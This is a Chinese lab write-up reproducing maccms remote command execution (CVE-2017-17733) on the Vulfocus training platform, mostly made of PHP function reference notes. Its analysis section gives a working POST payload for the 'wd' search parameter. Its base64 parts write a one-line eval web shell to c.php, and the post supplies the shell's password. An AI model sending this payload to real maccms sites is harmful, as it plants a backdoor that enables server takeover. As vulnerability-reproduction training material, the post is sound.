【漏洞复现-maccms-命令执行】vulfocus/maccms-cve_2017_17733

目录

一、靶场环境

1.1、平台:

1.2、知识:

1.3、描述:

二、漏洞验证

2.1、分析:

2.4、解题:


一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:63722

123.58.224.8:51161

123.58.224.8:51161

1.2、知识:

1、可控参数

(审计)

2、fputs()函数

函数写入文件(可安全用于二进制文件),fputs() 函数是 fwrite() 函数的别名

fputs(file,string,length)

参数 描述
file 必需。规定要写入的打开文件。
string 必需。规定要写入文件的字符串。
length 可选。规定要写入的最大字节数。

3、fopen() 函数

打开文件或者 URL,如果打开失败,本函数返回 FALSE

fopen(filename,mode,include_path,context)

参数 描述
filename 必需。规定要打开的文件或 URL。
mode 必需。规定要求到该文件/流的访问类型(值见下表)
include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。
context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。
mode 说明
"r" 只读方式打开,将文件指针指向文件头。
"r+" 读写方式打开,将文件指针指向文件头。
"w" 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
"w+" 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
"a" 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
"a+" 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
"x"

创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。

这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。

此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。

"x+"

创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。

这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。

此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。

4、base64_decode

对使用 MIME base64 编码的数据进行解码

base64_decode(string $data, bool $strict = false): string

如base64_decode($str)

1.3、描述:

远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令



二、漏洞验证

2.1、分析:

漏洞点

http://ip:port/index.php?m=vod-search

在此页面抓包

修改一:

改为POST请求

修改二:

添加POST提交的数据

wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}

c.php密码c

后门代码写入的URL地址

http://ip:port/c.php

连接后门

 

 

2.4、解题:

猜你喜欢

转载自blog.csdn.net/qq_53079406/article/details/127328882